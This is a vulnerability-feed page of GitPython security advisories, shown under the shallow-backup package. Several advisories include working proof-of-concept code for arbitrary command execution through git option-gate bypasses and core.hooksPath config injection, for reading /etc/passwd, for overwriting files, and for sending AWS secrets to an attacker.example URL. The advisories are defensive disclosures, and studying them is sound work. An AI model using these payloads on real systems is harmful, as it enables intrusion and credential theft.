Threats affecting pkg:brew/shallow-backup
33 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.2 | EPSS 0.6% | High7.2EPSS 0.6%GCVE DatabaseCVE-2026-73620 **Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` **Reported instances:** 2 exploitable, from a sweep of 14 unguarded call sites ## Summary GitPython blocks dangerous git options through `Git.check_unsafe_options()`, gated per method by an `allow_unsafe_options` parameter. That guard is applied **per call site**, so any API that forwards `**kwargs` into a git command without calling it passes caller-controlled options straight to git. A mechanical sweep of every method that forwards `**kwargs` into a `.git.<command>(...)` call found **14 sites with no guard**. Two reach a git option that takes a filesystem path: | # | Call site | git option | Impact | |---|---|---|---| | 1 | `IndexFile.checkout()` → `git checkout-index` | `--prefix=<path>` | arbitrary file **overwrite** with repository-controlled content | | 2 | `TagReference.create()` → `git tag` | `-F <file>` / `--file=<file>` | arbitrary file **read**, returned in-band | This is the same defect class already fixed in `Commit.count()` (GHSA-p538-c434-8v24), `Repo.archive()` and `Git.ls_remote()` (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD. --- ## Instance 1 — `IndexFile.checkout()`: arbitrary file overwrite `git/index/base.py:1210` accepts `**kwargs` and forwards them with no guard: ```python def checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs): ... proc = self.repo.git.checkout_index(*args, **kwargs) # line 1331 ... proc = self.repo.git.checkout_index(args, **kwargs) # line 1349 ``` There is no `allow_unsafe_options` parameter and no `check_unsafe_options()` call in the method. `git checkout-index` accepts `--prefix=<string>`, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and `-f` overwrites what is already there. ### Reproduction ```python from git import Repo Repo("/path/to/repo").index.checkout(prefix="/tmp/target_dir/", a=True, f=True) ``` Observed (`poc/poc_checkout_index.py`) — no exception raised, files land outside the repository: ``` [ALLOWED] no UnsafeOptionError raised files written outside the repo: ['f.txt'] f.txt: 'hi\n' ``` Overwrite of a pre-existing file (`poc/poc_ci_overwrite.py`) — the victim file held `ORIGINAL-DO-NOT-CLOBBER\n` before the call: ``` [ALLOWED] no exception victim content now: 'hi\n' OVERWRITTEN: True ``` ### Why this rates High Both halves of the write are attacker-influenced: - **Destination** — the `prefix` kwarg. - **Content** — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written. Commit a file named `authorized_keys`, `.bashrc`, `config` or `post-checkout`, choose the matching prefix (`~/.ssh/`, `~/`, `.git/hooks/`), and the write becomes code execution as the service account. For comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via `git diff --output`) is rated High, and GHSA-p538-c434-8v24 (arbitrary file *truncation* via `git rev-list --output`) is rated Medium. `--prefix` supplies full content control, so it sits at or above the former. --- ## Instance 2 — `TagReference.create()`: arbitrary file read `git/refs/tag.py:88` forwards `**kwargs` into `git tag` with no guard, and the signature advertises the passthrough: ```python def create(cls, repo, path, reference="HEAD", logmsg=None, force=False, **kwargs): """... :param kwargs: Additional keyword arguments to be passed to :manpage:`git-tag(1)`. """ ``` `git tag` accepts `-F <file>` / `--file=<file>`, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via `TagReference.tag.message`, so the file contents come back in-band. ### Reproduction ```python from git import Repo from git.refs.tag import TagReference t = TagReference.create(Repo("/path/to/repo"), "x", force=True, a=True, F="/etc/passwd") print(t.tag.message) ``` Observed (`poc/poc_tag_F.py`), reading a canary file outside the repository: ``` [ALLOWED] no UnsafeOptionError raised >>> tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\nsecond-line-secret' ``` Impact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (`-s`, `-u`/`--local-user`) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it. --- ## Sweep results — the other 12 sites Reported so the fix can be scoped once rather than per report. `poc/sweep.py` reproduces this list. | Call site | git command | Assessment | |---|---|---| | `IndexFile.from_tree()` | `read-tree` | `--index-output=<path>` looked reachable but i | GCVE Database | ||
| High | 7.1 | EPSS 0.4% | High7.1EPSS 0.4%GCVE DatabaseCVE-2026-73619 **Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` ## Summary `Repo.archive()` does call the option guard, so this is not a missing-guard report. The guard is present and working; the **denylist it consults is incomplete**. ```python # git/repo/base.py:169 unsafe_git_archive_options = [ # Allows arbitrary command execution through the remote git-upload-archive command. "--exec", # Writes output to a caller-controlled filesystem path. "--output", "-o", ] ``` The comment on `--output` states the protected class in the project's own words: an option that lets the caller name **a filesystem path** is unsafe. `--output` is blocked because it *writes* to a caller-chosen path. `git archive` also accepts `--add-file=<path>` and `--add-virtual-file=<path:content>` (both present in current git; verified against `git version 2.50.1`). `--add-file` *reads* a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them: ``` $ grep -rniE "add.file|add_file" git/ git/index/base.py:771: R"""Add files from the working tree, ... # unrelated docstring ``` Net effect: the guard blocks arbitrary file **write** at this sink while permitting arbitrary file **read** at the same sink. ## Reachability proof (verified at the sink) `poc/poc_addfile.py` at HEAD `07e80555`. The PoC creates its own out-of-tree canary, so it runs from a clean machine: ``` -- CONTROL: options the denylist covers (expect BLOCKED) -- [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it. -- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) -- [ALLOWED] add_file='/tmp/gp_canary.txt' -> archive 10240 bytes archive members: ['f.txt', 'gp_canary.txt'] >>> EXFILTRATED gp_canary.txt: 'secret-canary-12345' >>> byte-for-byte match with the out-of-tree file: CONFIRMED -- also: --add-virtual-file (attacker-chosen name AND content) -- [ALLOWED] add_virtual_file='pwn.txt:hello' -> archive 10240 bytes ``` The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran. Minimal reproduction: ```python import io, tarfile from git import Repo buf = io.BytesIO() Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd") print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames()) # ['<repo files>', 'passwd'] <- contents readable by whoever receives the archive ``` The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by `transform_kwargs` into `--add-file=<path>` and reaches `git archive` unmodified. ## Direct precedent `GHSA-6p8h-3wgx-97gf` (High, published 2026-07-22) is the same defect on the sibling list: *"Incomplete `unsafe_git_clone_options` denylist omits `--template`"* — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. `git log` shows the archive list itself has already been extended reactively once, in `701ce32f` (*fix: Guard unsafe git command options*, GHSA-956x-8gvw-wg5v), and the `--template` omission was then fixed separately in `ffcb5359`. ## `--add-virtual-file` is the same gap pointing the other way `--add-virtual-file=<path:content>` lets the caller inject **attacker-chosen content under an attacker-chosen name** into an archive that downstream consumers will reasonably treat as repository-derived. ## Suggested remediation 1. **Preferred — allowlist.** `Repo.archive()` has a small legitimate option surface (`format`, `prefix`, `worktree_attributes`, `remote`, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this. 2. **Minimum — extend the list** with `--add-file` and `--add-virtual-file`, and make the membership rule *"the option takes a filesystem path or URL"* rather than *"the option executes a command"*. The existing comment on `--output` already implies that rule; applying it consistently is what closes the class instead of this instance. ## Scope limits - Impact is **arbitrary file read at the privileges of the process**. Not code execution — I make no such claim here. - It requires the embedding application to forward caller-influenced kwargs into `Repo.archive()`. That is the identical precondition to `--output`, `--exec` and `--template`, | GCVE Database | ||
| High | 7.3 | EPSS 0.3% | CVE-2026-67326shallow-backup · GitPython: Newline injection High7.3EPSS 0.3%GCVE DatabaseCVE-2026-67326 Summary The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered. Details File: git/config.py — GitPython 3.1.49 (latest patched version) ```python def set_value(self, section: str, option: str, value) -> "GitConfigParser": value_str = self._value_to_string_safe(value) # only value is validated if not self.has_section(section): self.add_section(section) # section not validated super().set(section, option, value_str) # option not validated return self ``` _write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config. PoC ```python import git, os, subprocess repo = git.Repo.init("/tmp/bypass_test") os.makedirs("/tmp/evil_hooks", exist_ok=True) with open("/tmp/evil_hooks/pre-commit", "w") as f: f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n") os.chmod("/tmp/evil_hooks/pre-commit", 0o755) # Inject newline into section parameter (not value — already patched) with repo.config_writer() as cw: cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks") r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"], capture_output=True, text=True) print(r.stdout.strip()) # → /tmp/evil_hooks subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"]) print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed ``` Impact Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable. | GCVE Database | ||
| Critical | 9.3 | EPSS 0.6% | CVE-2026-67324Shallow backup · GitPython unsafe clone option gate bypass through joined short options Critical9.3EPSS 0.6%GCVE DatabaseCVE-2026-67324 `GitPython` version `3.1.50` blocks unsafe `git clone` options such as `--upload-pack`, `-u`, `--config`, and `-c` unless callers explicitly pass `allow_unsafe_options=True`. However, the default unsafe-option gate does not recognize joined short-option forms such as `-u/path/to/helper`. Git itself accepts `-u<upload-pack>` as the short form of `--upload-pack=<upload-pack>`. As a result, `Repo.clone_from(..., multi_options=["-u<helper>"], allow_unsafe_options=False)` can execute the helper command even though the equivalent long option is blocked. Affected package: - Ecosystem: PyPI - Package: `GitPython` - Confirmed affected version: `3.1.50` - Repository: `gitpython-developers/GitPython` - Current PyPI version during triage: `3.1.50` Relevant behavior: - `Repo.unsafe_git_clone_options` correctly lists `--upload-pack`, `-u`, `--config`, and `-c` as unsafe clone options. - `Repo._clone()` splits `multi_options` with `shlex.split(" ".join(multi_options))` and then calls `Git.check_unsafe_options(...)`. - `_canonicalize_option_name("-u/path/to/helper")` returns a string beginning with `u...`, not the canonical short option `u`, so it does not match the blocked `-u` entry. - Git accepts the same joined short option as `--upload-pack=<helper>` and executes the helper during clone. Preconditions: An application must pass attacker-influenced clone options into `Repo.clone_from(..., multi_options=...)` while relying on GitPython's default unsafe-option gate to block command-executing options. The local PoC uses only a local bare Git repository and a local helper script. It does not contact any third-party service. Local reproduction: The PoC creates a disposable bare Git repository, a helper script, and a sentinel file path. It first confirms that the long `--upload-pack=<helper>` form is blocked by GitPython. It then calls `Repo.clone_from(..., multi_options=["-u<helper>"], allow_unsafe_options=False)`. Observed sanitized output: ```text gitpython_version=3.1.50 git_version=git version 2.53.0.windows.1 tmp_dir=<tmp> long_upload_pack_gate=BLOCKED:UnsafeOptionError joined_short_upload_pack_gate=ALLOWED clone_result=EXPECTED_EXCEPTION:GitCommandError sentinel_exists=True sentinel_text=GITPYTHON_UNSAFE_OPTION_BYPASS ``` The clone fails because the helper exits nonzero, but the sentinel file proves that Git executed the helper despite `allow_unsafe_options=False`. Impact: An attacker who controls `multi_options` can bypass GitPython's default `allow_unsafe_options=False` protection and execute a local command via Git's `--upload-pack` / `-u` clone option. This is a residual bypass of an explicit GitPython security boundary, not merely a case where a caller opted into unsafe behavior. Duplicate / related advisory checks: - OSV query for `PyPI/GitPython` version `3.1.50` returned no vulnerabilities. - The repository's public advisories include related unsafe Git option issues, including `GHSA-x2qx-6953-8485` / `CVE-2026-42284` and `GHSA-rpm5-65cw-6hj4` / `CVE-2026-42215`. Their public affected ranges are marked as fixed before 3.1.50. - `GHSA-x2qx-6953-8485` describes validating `multi_options` before `shlex.split(...)`. GitPython 3.1.50 now validates after splitting, but the joined short option `-u<value>` still bypasses because the validator canonicalizes it to `u<value>` rather than `u`. - `GHSA-rpm5-65cw-6hj4` describes unsafe underscored kwargs such as `upload_pack=...`. The current PoC uses `multi_options=["-u<helper>"]` against 3.1.50 and does not depend on underscored kwargs. - GitHub issue search for `upload-pack unsafe options` found historical related items, including CVE-2022-24439 and the earlier unsafe-options gate work, but no public issue describing this current joined-short-option residual bypass in 3.1.50. - GitHub issue search for `multi_options unsafe` found PR #2130, which fixed splitting of `multi_options` before checking. The current issue remains after that split because `-u<value>` is treated as option name `u<value>`, not blocked short option `u`. - GitHub issue searches for `u<upload-pack> unsafe` and `-cfoo` returned no results. Suggested remediation: When checking unsafe Git options, parse joined short options that take values. For clone, `-uVALUE` and `-cKEY=VALUE` should be canonicalized to `u` and `c` respectively before comparing against the unsafe option set. A safer approach is to maintain command-specific metadata for unsafe short options and recognize the bare option, split form, joined form, and long `--option=<value>` / `--option <value>` forms. | GCVE Database | ||
| High | 8.6 | EPSS 1.3% | High8.6EPSS 1.3%GCVE DatabaseCVE-2026-67323 ## Summary GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples ## Code analysis Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after ## PoC Released 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here). ``` pip install GitPython # 3.1.50 ``` Common setup for the three: ```python import io, os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a', 'commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) tmp = tempfile.gettempdir() ``` 1. exec via archive (a service exports a repo and forwards the user's options dict): ```python m = os.path.join(tmp, 'gp_archive_check') try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m}) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 2. exec via ls_remote: ```python m = os.path.join(tmp, 'gp_lsremote_check') try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';') except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ``` 3. file clobber via a rev that looks like a ref: ```python v = os.path.join(tmp, 'release_notes.txt') open(v,'w').write('do not delete\n') print('[*] before:', repr(open(v).read())) try: list(repo.iter_commits('--output=' + v)) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] after :', repr(open(v).read()), '<- truncated') ``` ``` [*] before: 'do not delete\n' [*] Cmd('git') failed due to: exit code(129) [+] after : '' <- truncated ``` | GCVE Database | ||
| High | 8.7 | EPSS 0.3% | CVE-2026-67322GitPython · Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL High8.7EPSS 0.3%GCVE DatabaseCVE-2026-67322 ### Summary `Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL. ### Details **Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch. `Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch: `git/cmd.py` (v3.1.50), lines 907–925: ```python @classmethod def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike: """Remove any backslashes from URLs to be written in config files. ... """ if is_cygwin is None: is_cygwin = cls.is_cygwin() if is_cygwin: url = cygpath(url) else: url = os.path.expandvars(url) # <-- line 921 if url.startswith("~"): url = os.path.expanduser(url) url = url.replace("\\\\", "\\").replace("\\", "/") return url ``` `Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess: `git/repo/base.py` (v3.1.50), lines 1407–1418: ```python if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) if not allow_unsafe_options: Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options) if not allow_unsafe_options and multi: Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options) proc = git.clone( multi, "--", Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone` clone_path, ... ) ``` Because `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as: ``` https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git ``` is rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point. `polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL. **Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url="$X"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability. ### PoC Tested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`. ```bash python3 -m venv /tmp/gp-venv /tmp/gp-venv/bin/pip install gitpython==3.1.50 /tmp/gp-venv/bin/python poc.py ``` `poc.py`: ```python #!/usr/bin/env python3 """ PoC: environment-variable exfiltration via Repo.clone_from() URL. Demonstrates that an attacker-controlled `url` argument to Repo.clone_from() is passed through os.path.expandvars() before being given to `git clone`, so `$NAME` tokens in the URL are replaced with the server process's environment-variable values and tra | GCVE Database | ||
| High | 7.8 | EPSS 0.2% | CVE-2026-44244GitPython · Newline injection in config_writer().set_value() enables RCE via core.hooksPath High7.8EPSS 0.2%GCVE DatabaseCVE-2026-44244 `GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\n` becomes `\n\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration. This was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`. PoC (standalone, no MLRun required): ```python import git, subprocess, os repo = git.Repo("/tmp/testrepo") with repo.config_writer() as cw: cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks") r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True) assert r.returncode == 0 print(r.stdout.strip()) # /tmp/hooks os.makedirs("/tmp/hooks", exist_ok=True) open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n") os.chmod("/tmp/hooks/pre-commit", 0o755) repo.index.add(["README"]) repo.git.commit(m="test") print(open("/tmp/pwned").read()) # uid=... ``` Tested on GitPython 3.1.46, git 2.39+. Impact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically. Remediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through: ```python import re if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)): raise ValueError("Git config values must not contain CR, LF, or NUL") ``` Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that. Affected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs. | GCVE Database | ||
| High | 8.1 | EPSS 0.6% | CVE-2026-42284GitPython · Unsafe option check validates multi_options before shlex.split transformation High8.1EPSS 0.6%GCVE DatabaseCVE-2026-42284 ### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267. | GCVE Database | ||
| High | 8.8 | EPSS 0.7% | High8.8EPSS 0.7%GCVE DatabaseCVE-2026-42215 ### Summary GitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`. ### Details GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands: - `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe. - `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe. The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags: - `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390` - `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071` - `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125` - `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198` That validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`. Later, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified: - `upload_pack=...` becomes `--upload-pack=...` - `receive_pack=...` becomes `--receive-pack=...` Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject. In practice: - `remote.fetch(**{"upload-pack": helper})` is blocked with `UnsafeOptionError` - `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution The same bypass works for: ```python Repo.clone_from(origin, out, upload_pack=helper) repo.remote("origin").fetch(upload_pack=helper) repo.remote("origin").pull(upload_pack=helper) repo.remote("origin").push(receive_pack=helper) ``` This does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization. Existing tests cover the hyphenated form, not the vulnerable underscore form. For example: - `test/test_clone.py:129-136` checks `{"upload-pack": ...}` - `test/test_remote.py:830-833` checks `{"upload-pack": ...}` - `test/test_remote.py:968-975` checks `{"receive-pack": ...}` Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard. ### PoC 1. Create and activate a virtual environment in the repository root: ```bash python3 -m venv .venv-sec .venv-sec/bin/pip install setuptools gitdb source ./.venv-sec/bin/activate ``` 2. make a new python file and put the following in there, then run it: ```python import os import stat import subprocess import tempfile from git import Repo from git.exc import UnsafeOptionError # Setup: create isolated repositories so the PoC uses a normal fetch flow. base = tempfile.mkdtemp(prefix="gp-poc-risk-") origin = os.path.join(base, "origin.git") producer = os.path.join(base, "producer") victim = os.path.join(base, "victim") proof = os.path.join(base, "proof.txt") wrapper = os.path.join(base, "wrapper.sh") # Setup: this wrapper is just to demo things you can do, not required for the exploit to work # you could also do something like an SSH reverse shell, really anything with open(wrapper, "w") as f: f.write(f"""#!/bin/sh {{ echo "code_exec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@"; echo env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true }} > '{proof}' exec git-upload-pack "$@" """) os.chmod(wrapper, stat.S_IRWXU) subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, 